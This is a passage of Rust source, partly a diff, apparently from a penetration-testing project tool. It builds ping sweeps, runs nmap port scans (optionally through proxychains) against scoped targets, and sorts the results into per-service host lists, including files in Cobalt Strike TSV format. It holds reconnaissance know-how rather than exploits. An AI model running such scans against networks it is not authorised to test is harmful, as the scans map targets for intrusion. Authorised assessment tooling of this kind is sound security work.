_range_command = format!("{}{}","shell ", _discovery_command.replace("!!!", &network_string));
|
||||||
|
need_shell = false;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
_range_command = _discovery_command.replace("!!!", &network_string);
|
||||||
|
}
|
||||||
|
final_command.push_str(_range_command.as_str());
|
||||||
|
final_command.push_str(">> ping_only_replies.txt &");
|
||||||
|
}
|
||||||
|
final_command.pop();
|
||||||
|
print_success(final_command);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn parse_csportscan(project: &Project){
|
||||||
|
let mut tsv_path = project.files_folder.clone();
|
||||||
|
tsv_path.push("working/tsvs/services.tsv");
|
||||||
|
let mut outfile = tsv_path.clone();
|
||||||
|
outfile.pop();
|
||||||
|
outfile.pop();
|
||||||
|
let mut windows_hosts = Vec::new();
|
||||||
|
let mut ssh_hosts = Vec::new();
|
||||||
|
let mut ftp_hosts = Vec::new();
|
||||||
|
let mut rdp_hosts = Vec::new();
|
||||||
|
let mut dns_hosts = Vec::new();
|
||||||
|
let mut snmp_hosts = Vec::new();
|
||||||
|
let mut web_hosts = Vec::new();
|
||||||
|
let mut telnet_hosts = Vec::new();
|
||||||
|
let mut unknown_ports = Vec::new();
|
||||||
|
|
||||||
|
if !get_user_input("do you have the tsv saved in the project folder under working/tsvs/services.tsv?").to_lowercase().contains("y"){
|
||||||
|
tsv_path.clear();
|
||||||
|
tsv_path.push(get_user_input("ooof ok, please enter the full path to your tsv file."));
|
||||||
|
}
|
||||||
|
let tsv_read_res = read_to_string(tsv_path);
|
||||||
|
if tsv_read_res.is_err(){
|
||||||
|
let error = tsv_read_res.err().unwrap();
|
||||||
|
println!("{}","ooof error reading tsv file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
println!("tsv read, parsing lines...");
|
||||||
|
let tsv_string = tsv_read_res.unwrap();
|
||||||
|
let lines: Vec<&str> = tsv_string.split("\n").collect();
|
||||||
|
for line in lines{
|
||||||
|
let words: Vec<&str> = line.split("\t").collect();
|
||||||
|
if words.len() > 1{
|
||||||
|
let host = words[0].to_lowercase().to_owned();
|
||||||
|
let port = words[1].to_lowercase().to_owned();
|
||||||
|
let host_entry = format!("{}:{}", &host, &port);
|
||||||
|
match words[1]{
|
||||||
|
"135" => {if !windows_hosts.contains(&host){windows_hosts.push(host)}},
|
||||||
|
"445" => {if !windows_hosts.contains(&host){windows_hosts.push(host)}},
|
||||||
|
"22" => {if !ssh_hosts.contains(&host){ssh_hosts.push(host);}},
|
||||||
|
"21" => {if !ftp_hosts.contains(&host){ftp_hosts.push(host);}},
|
||||||
|
"23" => {if !telnet_hosts.contains(&host){telnet_hosts.push(host)}},
|
||||||
|
"3389" => {if !rdp_hosts.contains(&host){rdp_hosts.push(host);}},
|
||||||
|
"80" | "443" | "8080" | "8443" | "4433" | "8000" => {if !web_hosts.contains(&host_entry){web_hosts.push(host_entry);}},
|
||||||
|
"53" => {if !dns_hosts.contains(&host){dns_hosts.push(host);}},
|
||||||
|
"161" => {if !snmp_hosts.contains(&host){snmp_hosts.push(host);}},
|
||||||
|
_ => {
|
||||||
|
if words.len() == 3{
|
||||||
|
let banner = words[2].to_lowercase().to_owned();
|
||||||
|
if words[2].to_lowercase().contains("ssh"){
|
||||||
|
if !ssh_hosts.contains(&host_entry){
|
||||||
|
ssh_hosts.push(host_entry);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if banner.contains("ftp"){
|
||||||
|
if !ftp_hosts.contains(&host_entry){
|
||||||
|
ftp_hosts.push(host_entry);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if banner.contains("nginx") || banner.contains("apache"){
|
||||||
|
if !web_hosts.contains(&host_entry){
|
||||||
|
web_hosts.push(host_entry);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if words.len() == 2{
|
||||||
|
unknown_ports.push(host_entry);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("is {} where you want to save your files?", outfile.display());
|
||||||
|
if get_user_input("").to_lowercase().contains("n"){
|
||||||
|
outfile.clear();
|
||||||
|
outfile.push(get_user_input("ok, please enter the full path to the folder you want to save them to."));
|
||||||
|
}
|
||||||
|
let host_number_results = format!("
|
||||||
|
{} Windows hosts found!
|
||||||
|
{} SSH hosts found!
|
||||||
|
{} FTP hosts found!
|
||||||
|
{} Telnet hosts found!
|
||||||
|
{} SNMP hosts found!
|
||||||
|
{} DNS hosts found!
|
||||||
|
{} RDP hosts found!
|
||||||
|
{} untagged hosts found!
|
||||||
|
", windows_hosts.len(), ssh_hosts.len(), ftp_hosts.len(), telnet_hosts.len(), snmp_hosts.len(), dns_hosts.len(), rdp_hosts.len(), unknown_ports.len());
|
||||||
|
print_success(host_number_results);
|
||||||
|
print_informational("data gathered, writing to notes...");
|
||||||
|
outfile.push("windows_hosts.txt");
|
||||||
|
let file_option = open_overwrite(&outfile);
|
||||||
|
if file_option.is_some(){
|
||||||
|
let mut windows_file = file_option.unwrap();
|
||||||
|
for host in windows_hosts{
|
||||||
|
let write_res = write!(windows_file, "{}\n", host);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","oooof error writing windows_hosts.txt!!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
write_res.unwrap();
|
||||||
|
print_success("windows hosts file written!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outfile.pop();
|
||||||
|
outfile.push("ssh_hosts.txt");
|
||||||
|
let file_option = open_overwrite(&outfile);
|
||||||
|
if file_option.is_some(){
|
||||||
|
let mut ssh_file = file_option.unwrap();
|
||||||
|
for host in ssh_hosts{
|
||||||
|
let write_res = write!(ssh_file, "{}\n", host);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","oooof error writing ssh_hosts.txt!!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
write_res.unwrap();
|
||||||
|
print_success("ssh hosts file written!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outfile.pop();
|
||||||
|
outfile.push("telnet_hosts.txt");
|
||||||
|
let file_option = open_overwrite(&outfile);
|
||||||
|
if file_option.is_some(){
|
||||||
|
let mut telnet_file = file_option.unwrap();
|
||||||
|
for host in telnet_hosts{
|
||||||
|
let write_res = write!(telnet_file, "{}\n", host);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","oooof error writing _hosts.txt!!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
write_res.unwrap();
|
||||||
|
print_success("telnet hosts file written!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outfile.pop();
|
||||||
|
outfile.push("ftp_hosts.txt");
|
||||||
|
let file_option = open_overwrite(&outfile);
|
||||||
|
if file_option.is_some(){
|
||||||
|
let mut ftp_file = file_option.unwrap();
|
||||||
|
for host in ftp_hosts{
|
||||||
|
let write_res = write!(ftp_file, "{}\n", host);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","oooof error writing _hosts.txt!!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
write_res.unwrap();
|
||||||
|
print_success("fpt hosts file written!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outfile.pop();
|
||||||
|
outfile.push("snmp_hosts.txt");
|
||||||
|
let file_option = open_overwrite(&outfile);
|
||||||
|
if file_option.is_some(){
|
||||||
|
let mut snmp_file = file_option.unwrap();
|
||||||
|
for host in snmp_hosts{
|
||||||
|
let write_res = write!(snmp_file, "{}\n", host);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","oooof error writing _hosts.txt!!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
write_res.unwrap();
|
||||||
|
print_success("snmp hosts file written!")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outfile.pop();
|
||||||
|
outfile.push("dns_hosts.txt");
|
||||||
|
let file_option = open_overwrite(&outfile);
|
||||||
|
if file_option.is_some(){
|
||||||
|
let mut dns_file = file_option.unwrap();
|
||||||
|
for host in dns_hosts{
|
||||||
|
let write_res = write!(dns_file, "{}\n", host);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","oooof error writing _hosts.txt!!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
write_res.unwrap();
|
||||||
|
print_success("dns hosts file written!")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outfile.pop();
|
||||||
|
outfile.push("rdp_hosts.txt");
|
||||||
|
let file_option = open_overwrite(&outfile);
|
||||||
|
if file_option.is_some(){
|
||||||
|
let mut rdp_file = file_option.unwrap();
|
||||||
|
for host in rdp_hosts{
|
||||||
|
let write_res = write!(rdp_file, "{}\n", host);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","oooof error writing _hosts.txt!!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
write_res.unwrap();
|
||||||
|
print_success("rdp hosts file written!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outfile.pop();
|
||||||
|
outfile.push("web_hosts.txt");
|
||||||
|
let file_option = open_overwrite(&outfile);
|
||||||
|
if file_option.is_some(){
|
||||||
|
let mut web_file = file_option.unwrap();
|
||||||
|
for host in web_hosts{
|
||||||
|
let write_res = write!(web_file, "{}\n", host);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","oooof error writing _hosts.txt!!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
write_res.unwrap();
|
||||||
|
print_success("web hosts file written!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
print_informational("tagged port files have been written to, saving untagged ports...");
|
||||||
|
outfile.pop();
|
||||||
|
outfile.push("untagged ports");
|
||||||
|
if !outfile.exists(){
|
||||||
|
let untagged_res = create_dir_all(&outfile);
|
||||||
|
if untagged_res.is_err(){
|
||||||
|
let error = untagged_res.err().unwrap();
|
||||||
|
println!("{}","ooof error creating untagged folder!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
untagged_res.unwrap();
|
||||||
|
print_success("untagged port file written!");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for line in unknown_ports{
|
||||||
|
let line_vec:Vec<&str> = line.split(":").collect();
|
||||||
|
let host = line_vec[0].to_owned();
|
||||||
|
let port = line_vec[1].to_owned();
|
||||||
|
let file_name = format!("{}_hosts.txt", port);
|
||||||
|
outfile.push(file_name);
|
||||||
|
let write_file_opt = open_append(&outfile);
|
||||||
|
if write_file_opt.is_some(){
|
||||||
|
let mut write_file = write_file_opt.unwrap();
|
||||||
|
let write_res = write!(write_file, "{}\n", host);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","ooof error writing to file...".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
outfile.pop();
|
||||||
|
}
|
||||||
|
print_success(format!("DONE all files saved to {}", outfile.display()));
|
||||||
|
println!("note if no hosts were found for a protocol their files will be empty.");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
|
pub fn run_nmap_portscan(project: &Project) -> Option<JoinHandle<()>>{
|
||||||
|
let notes_folder = project.notes_folder.clone();
|
||||||
|
let mut ports_to_scan = vec![String::from("80"), String::from("443"),
|
||||||
|
String::from("161"),
|
||||||
|
String::from("22"),
|
||||||
|
String::from("21"),
|
||||||
|
String::from("23"),
|
||||||
|
String::from("8080"),
|
||||||
|
String::from("8443"),
|
||||||
|
String::from("4433"),
|
||||||
|
String::from("135"),
|
||||||
|
String::from("445"),
|
||||||
|
String::from("3389"),
|
||||||
|
String::from("5985"),
|
||||||
|
String::from("1433"),
|
||||||
|
String::from("3306"),
|
||||||
|
String::from("2222"),];
|
||||||
|
let mut general_notes = notes_folder.clone();
|
||||||
|
general_notes.push("general.md");
|
||||||
|
println!("building targets from scope in general notes...");
|
||||||
|
let targets_res = info_controls::get_scope_entries(project);
|
||||||
|
if targets_res.is_none(){
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut targets = targets_res.unwrap();
|
||||||
|
print_success("Got targets from scope!");
|
||||||
|
for target in &targets{
|
||||||
|
println!("{}", target);
|
||||||
|
}
|
||||||
|
if get_user_input("does this list look ok?").to_lowercase().contains("n"){
|
||||||
|
let mut modified_targets = targets.clone();
|
||||||
|
let mut targets_to_remove = Vec::new();
|
||||||
|
let mut targets_ready = false;
|
||||||
|
while !targets_ready{
|
||||||
|
println!("current target list:");
|
||||||
|
for target in &modified_targets{
|
||||||
|
if &targets_to_remove.contains(target) == &false{
|
||||||
|
println!("{}", target);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let response = get_user_input("\nc to continue as is\na to add a target to the list\nr to remove a target from the list\nf to start fresh with a blank list of targets");
|
||||||
|
match response.as_str(){
|
||||||
|
"c" => targets_ready = true,
|
||||||
|
"a" => {let new_target = get_user_input("target to add?"); let _ = &mut modified_targets.push(new_target);},
|
||||||
|
"r" => {let _ = targets_to_remove.push(get_user_input("target to remove?"));},
|
||||||
|
"f" => {let _ = &mut modified_targets.clear();}
|
||||||
|
_ => println!("unknown selection"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for target in &targets{
|
||||||
|
println!("{}", target);
|
||||||
|
}
|
||||||
|
println!("\nwill be replace with\n");
|
||||||
|
for target in &modified_targets{
|
||||||
|
println!("{}", target);
|
||||||
|
}
|
||||||
|
if get_user_input("continue?").to_lowercase().contains("n"){
|
||||||
|
println!("ok exiting this function, feel free to try again...");
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
targets = modified_targets;
|
||||||
|
}
|
||||||
|
println!("the standard ports I scan are:");
|
||||||
|
for port in &ports_to_scan{
|
||||||
|
println!("{}", port);
|
||||||
|
}
|
||||||
|
if get_user_input("is this ok?").to_lowercase().contains("n"){
|
||||||
|
let mut ports_ready = false;
|
||||||
|
ports_to_scan.clear();
|
||||||
|
while !ports_ready{
|
||||||
|
let response = get_user_input("enter a port to scan in the nmap format. For example 80-100 or 80,443 Enter END in all caps when you're done.");
|
||||||
|
match response.as_str(){
|
||||||
|
"END" => ports_ready = true,
|
||||||
|
_ => ports_to_scan.push(response),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let proxy = get_user_input("will you be using proxychains for this scan?").to_lowercase().contains("y");
|
||||||
|
print_success("sweet we have what we need!");
|
||||||
|
print_informational("Targets:");
|
||||||
|
for target in &targets{
|
||||||
|
print_success(format!("{}", target));
|
||||||
|
}
|
||||||
|
println!("building portscan command...");
|
||||||
|
let working_project = project.clone();
|
||||||
|
let mut save_path = project.files_folder.clone();
|
||||||
|
save_path.push("working");
|
||||||
|
if !save_path.exists(){
|
||||||
|
save_path.clear();
|
||||||
|
save_path = project.files_folder.clone();
|
||||||
|
}
|
||||||
|
save_path.push("services.tsv");
|
||||||
|
let mut enumeration_notes_path = project.notes_folder.clone();
|
||||||
|
enumeration_notes_path.push("enumeration.md");
|
||||||
|
let mut nmap_output = Vec::new();
|
||||||
|
let nmap_thread = spawn(move || {
|
||||||
|
if proxy{
|
||||||
|
let port_scancmd_res = Command::new("distrobox")
|
||||||
|
.arg("enter")
|
||||||
|
.arg("--root")
|
||||||
|
.arg(working_project.boxname)
|
||||||
|
.arg("--")
|
||||||
|
.arg("proxychains")
|
||||||
|
.arg("nmap")
|
||||||
|
.arg("-sT")
|
||||||
|
.arg("-p")
|
||||||
|
.arg(ports_to_scan.join(","))
|
||||||
|
.arg(targets.join(" "))
|
||||||
|
.output();
|
||||||
|
if port_scancmd_res.is_err(){
|
||||||
|
let error = port_scancmd_res.err().unwrap();
|
||||||
|
println!("{}","FROM NMAP THREAD: error running portscan!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
nmap_output = port_scancmd_res.unwrap().stdout;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let port_scancmd_res = Command::new("distrobox")
|
||||||
|
.arg("enter")
|
||||||
|
.arg("--root")
|
||||||
|
.arg(working_project.boxname)
|
||||||
|
.arg("--")
|
||||||
|
.arg("nmap")
|
||||||
|
.arg("-sT")
|
||||||
|
.arg("-p")
|
||||||
|
.arg(ports_to_scan.join(","))
|
||||||
|
.arg(targets.join(" "))
|
||||||
|
.output();
|
||||||
|
if port_scancmd_res.is_err(){
|
||||||
|
let error = port_scancmd_res.err().unwrap();
|
||||||
|
println!("{}","FROM NMAP THREAD: error running portscan!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
nmap_output = port_scancmd_res.unwrap().stdout;
|
||||||
|
}
|
||||||
|
println!("FROM NMAP THREAD: nmap scan finished, parsing the results...");
|
||||||
|
let nmap_output_string = String::from_utf8_lossy(&nmap_output);
|
||||||
|
let mut nmap_log_path = save_path.clone();
|
||||||
|
nmap_log_path.pop();
|
||||||
|
nmap_log_path.push("nmap.log");
|
||||||
|
let nmap_log_file = open_append(&nmap_log_path);
|
||||||
|
if nmap_log_file.is_some(){
|
||||||
|
let mut nmap_log_file = nmap_log_file.unwrap();
|
||||||
|
write!(nmap_log_file, "{}", nmap_output_string).unwrap();
|
||||||
|
print_success("nmap log file written!");
|
||||||
|
}
|
||||||
|
let mut host_ports = Vec::new();
|
||||||
|
let host_sections: Vec<&str> = nmap_output_string.split("Nmap scan report ").collect();
|
||||||
|
for section in host_sections{
|
||||||
|
let mut host = String::new();
|
||||||
|
let mut ports = Vec::new();
|
||||||
|
let lines: Vec<&str> = section.split("\n").collect();
|
||||||
|
let mut port_section = false;
|
||||||
|
for line in lines{
|
||||||
|
if line.contains("for "){
|
||||||
|
if !line.contains("(not scanned)"){
|
||||||
|
host = line.split(" ").collect::<Vec<&str>>()[1..].join(" ").to_owned();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if line.contains("Host is up"){
|
||||||
|
port_section = true;
|
||||||
|
}
|
||||||
|
else if port_section{
|
||||||
|
if line.contains("open"){
|
||||||
|
let words: Vec<&str> = line.split_whitespace().collect();
|
||||||
|
if words.len() >= 3{
|
||||||
|
let port = words [0];
|
||||||
|
let service = words [2];
|
||||||
|
let port_entry = format!("{}:{}", port, service);
|
||||||
|
ports.push(port_entry);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for port in ports{
|
||||||
|
let entry_words: Vec<&str> = port.split(":").collect();
|
||||||
|
let port = entry_words[0];
|
||||||
|
let service = entry_words[1];
|
||||||
|
let host_entry = format!("{}\t{}\t{}", host, port, service);
|
||||||
|
host_ports.push(host_entry);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let services_file_open_res = open_overwrite(&save_path);
|
||||||
|
if services_file_open_res.is_none(){
|
||||||
|
println!("FROM NMAP THREAD: error opening the services.tsv file to write!");
|
||||||
|
println!("FROM NMAP THREAD: exiting");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut services_file = services_file_open_res.unwrap();
|
||||||
|
let enumeration_open_res = open_append(&enumeration_notes_path);
|
||||||
|
if enumeration_open_res.is_none(){
|
||||||
|
print_error("error opening enumeration notes file!", "".to_owned());
|
||||||
|
}
|
||||||
|
let services_write_res = write!(services_file, "host\tport\tbanner\tnotes\n");
|
||||||
|
if services_write_res.is_err(){
|
||||||
|
let error = services_write_res.err().unwrap();
|
||||||
|
println!("{}","FROM NMAP THREAD: error writing to the services.tsv file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut enumeration_write = false;
|
||||||
|
if enumeration_open_res.is_some(){
|
||||||
|
enumeration_write = true;
|
||||||
|
}
|
||||||
|
let mut host_all_ports: HashMap<String, Vec<String>> = HashMap::new();
|
||||||
|
for host in &host_ports{
|
||||||
|
write!(services_file, "{}\n", host).unwrap();
|
||||||
|
let host_data: Vec<&str> = host.split("\t").collect();
|
||||||
|
let address = host_data[0].to_owned();
|
||||||
|
let port = host_data[1].to_owned();
|
||||||
|
let service = host_data[2].to_owned();
|
||||||
|
if host_all_ports.contains_key(&address){
|
||||||
|
host_all_ports.get_mut(&address).unwrap().push(format!("{}:{}", port, service));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
host_all_ports.insert(address, vec![format!("{}:{}", port, service)]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if enumeration_write{
|
||||||
|
let mut enumeration_file = enumeration_open_res.unwrap();
|
||||||
|
let write_res = write!(enumeration_file, "\n# Port Scan\n");
|
||||||
|
if write_res.is_ok(){
|
||||||
|
write_res.unwrap();
|
||||||
|
for host in host_all_ports.keys(){
|
||||||
|
write!(enumeration_file, "## {}\n| HOST | PORT | SERVICE |\n| ---- | ---- | ------- |\n", host).unwrap();
|
||||||
|
for port_entry in &host_all_ports[host]{
|
||||||
|
let parts: Vec<&str> = port_entry.split(":").collect();
|
||||||
|
let port = parts[0];
|
||||||
|
let services = parts[1];
|
||||||
|
write!(enumeration_file, "| {} | {} | {} |\n", host, port, services).unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
write!(enumeration_file, "\n---\n").unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
print_success(format!("FROM NMAP THREAD: Parsing done! You're scan results are saved in cobalt strike services.tsv format at {}", save_path.display()));
|
||||||
|
});
|
||||||
|
sleep(Duration::from_secs(10));
|
||||||
|
return Some(nmap_thread);
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn build_nmap_command(project: &Project){
|
||||||
|
fn get_targets() -> Vec<String>{
|
||||||
|
let mut targets = Vec::new();
|
||||||
|
println!("please enter the ranges/ips to scan one per line, and enter END all caps when done.");
|
||||||
|
loop {
|
||||||
|
let response = get_user_input("ip or range to add?");
|
||||||
|
if response == "END".to_owned(){
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
targets.push(response);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return targets;
|
||||||
|
}
|
||||||
|
let targets_res = info_controls::get_scope_entries(project);
|
||||||
|
let mut targets = Vec::new();
|
||||||
|
let mut ports_to_scan = vec![String::from("80"), String::from("443"),
|
||||||
|
String::from("161"),
|
||||||
|
String::from("22"),
|
||||||
|
String::from("21"),
|
||||||
|
String::from("23"),
|
||||||
|
String::from("8080"),
|
||||||
|
String::from("8443"),
|
||||||
|
String::from("4433"),
|
||||||
|
String::from("135"),
|
||||||
|
String::from("445"),
|
||||||
|
String::from("3389"),
|
||||||
|
String::from("5985"),
|
||||||
|
String::from("1433"),
|
||||||
|
String::from("3306"),
|
||||||
|
String::from("2222"),];
|
||||||
|
let mut save_path = project.files_folder.clone();
|
||||||
|
if targets_res.is_none(){
|
||||||
|
println!("couldn't get target list from your notes!");
|
||||||
|
targets = get_targets();
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
println!("got targets from the cope in notes!");
|
||||||
|
for target in targets_res.unwrap(){
|
||||||
|
targets.push(target);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for target in &targets{
|
||||||
|
println!("{}", target);
|
||||||
|
}
|
||||||
|
if get_user_input("is this ok?").to_lowercase().contains("n"){
|
||||||
|
println!("oooof ok, we'll have you recreate it manually.");
|
||||||
|
targets = get_targets();
|
||||||
|
}
|
||||||
|
println!("These are the ports we're going to scan.");
|
||||||
|
for port in &ports_to_scan{
|
||||||
|
println!("{}", port);
|
||||||
|
}
|
||||||
|
if get_user_input("is this ok?").to_lowercase().contains("n"){
|
||||||
|
println!("oof ok, rebuild it manually.");
|
||||||
|
println!("please enter the ports you want to scan, one per line, enter END in all caps when you're finished.");
|
||||||
|
ports_to_scan.clear();
|
||||||
|
loop{
|
||||||
|
let port = get_user_input("port to add?");
|
||||||
|
if port.contains("END"){
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
ports_to_scan.push(port);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("we are going to save the output to {}/working/nmap_output.txt", save_path.display());
|
||||||
|
if get_user_input("is this ok").to_lowercase().contains("n"){
|
||||||
|
println!("oof ok.");
|
||||||
|
save_path.clear();
|
||||||
|
save_path.push(get_user_input("full path to where you want to save it then?"));
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
save_path.push("working/nmap_output.txt");
|
||||||
|
}
|
||||||
|
let ports_string = ports_to_scan.join(",");
|
||||||
|
let targets_string = targets.join(" ");
|
||||||
|
println!("\nYour portscan command is:");
|
||||||
|
if get_user_input("will you be using proxychains for this scan?").to_lowercase().contains("y"){
|
||||||
|
print_success(format!("\n\nproxychains nmap -sT -p {} {} -Pn | tee {}", ports_string, targets_string, save_path.display()));
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
print_success(format!("nmap -p {} {} -Pn | tee {}", ports_string, targets_string, save_path.display()));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,5 +1,6 @@
|
|||||||
use std::env;
|
use std::env;
|
||||||
use std::fs;
|
use std::fs;
|
||||||
|
use std::fs::read_to_string;
|
||||||
use std::io::stdin;
|
use std::io::stdin;
|
||||||
use std::io::Write;
|
use std::io::Write;
|
||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
@@ -8,12 +9,20 @@ use std::process::Command;
|
|||||||
use std::thread;
|
use std::thread;
|
||||||
use std::time::Duration;
|
use std::time::Duration;
|
||||||
use std::str::FromStr;
|
use std::str::FromStr;
|
||||||
|
use colored::Colorize;
|
||||||
|
|
||||||
|
use crate::configuration;
|
||||||
use crate::get_user_input;
|
use crate::get_user_input;
|
||||||
use fs_extra::file;
|
use crate::open_overwrite;
|
||||||
|
use crate::print_informational;
|
||||||
|
use crate::tableize;
|
||||||
use crate::Project;
|
use crate::Project;
|
||||||
use crate::box_controls::make_box;
|
use crate::box_controls::make_box;
|
||||||
|
use crate::print_success;
|
||||||
|
use crate::print_error;
|
||||||
|
|
||||||
pub fn switch_project(projects: &mut Vec<Project>){
|
pub fn
|
||||||
|
switch_project(projects: &mut Vec<Project>){
|
||||||
for project in projects.clone(){
|
for project in projects.clone(){
|
||||||
if project.active == false{
|
if project.active == false{
|
||||||
println!("{} {}|{}", project.id, project.customer, project.project_name);
|
println!("{} {}|{}", project.id, project.customer, project.project_name);
|
||||||
@@ -27,19 +36,19 @@ pub fn switch_project(projects: &mut Vec<Project>){
|
|||||||
for project in projects{
|
for project in projects{
|
||||||
if project.id == new_id{
|
if project.id == new_id{
|
||||||
project.active = true;
|
project.active = true;
|
||||||
println!("project found switching to {} {}", project.customer, project.project_name);
|
print_success(format!("project found switching to {} {}", project.customer, project.project_name));
|
||||||
env::set_var("CURRENT_PROJECT_BOX", project.boxname.clone());
|
env::set_var("CURRENT_PROJECT_BOX", project.boxname.clone());
|
||||||
}
|
}
|
||||||
else if project.id != new_id{
|
else if project.id != new_id{
|
||||||
project.active = false;
|
project.active = false;
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
println!("error unknown project id")
|
print_error("error selecting new project", String::from("unknown project id selected."));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
println!("error we need user input here dummy!");
|
print_error("error selecting new project", String::from("we need input here dummy!"));
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -49,8 +58,14 @@ pub fn save_projects(projects: &Vec<Project>, config_path: &PathBuf){
|
|||||||
let mut active_set = false;
|
let mut active_set = false;
|
||||||
save_file_path.pop();
|
save_file_path.pop();
|
||||||
save_file_path.push("projects.conf");
|
save_file_path.push("projects.conf");
|
||||||
let mut save_file = fs::File::create(save_file_path).expect("error creating save_file");
|
let save_file_res = fs::File::create(save_file_path);
|
||||||
save_file.write_all(b"customer:name:notes:files:active:time:box_name:stage\n").expect("error writing first line to file");
|
if save_file_res.is_err(){
|
||||||
|
let error = save_file_res.err().unwrap().to_string();
|
||||||
|
print_error("error creating save file.", error);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut save_file = save_file_res.unwrap();
|
||||||
|
save_file.write_all(b"Current Loaded Projects Config File\n").expect("error writing first line to file");
|
||||||
for project in projects{
|
for project in projects{
|
||||||
let default = format!{"{}:{}:{}:{}:", project.customer, project.project_name, project.notes_folder.display(), project.files_folder.display()};
|
let default = format!{"{}:{}:{}:{}:", project.customer, project.project_name, project.notes_folder.display(), project.files_folder.display()};
|
||||||
let mut _outline = String::new();
|
let mut _outline = String::new();
|
||||||
@@ -64,10 +79,17 @@ pub fn save_projects(projects: &Vec<Project>, config_path: &PathBuf){
|
|||||||
else{
|
else{
|
||||||
_outline = format!("{}no:{}:{}\n", default, project.boxname, project.stage);
|
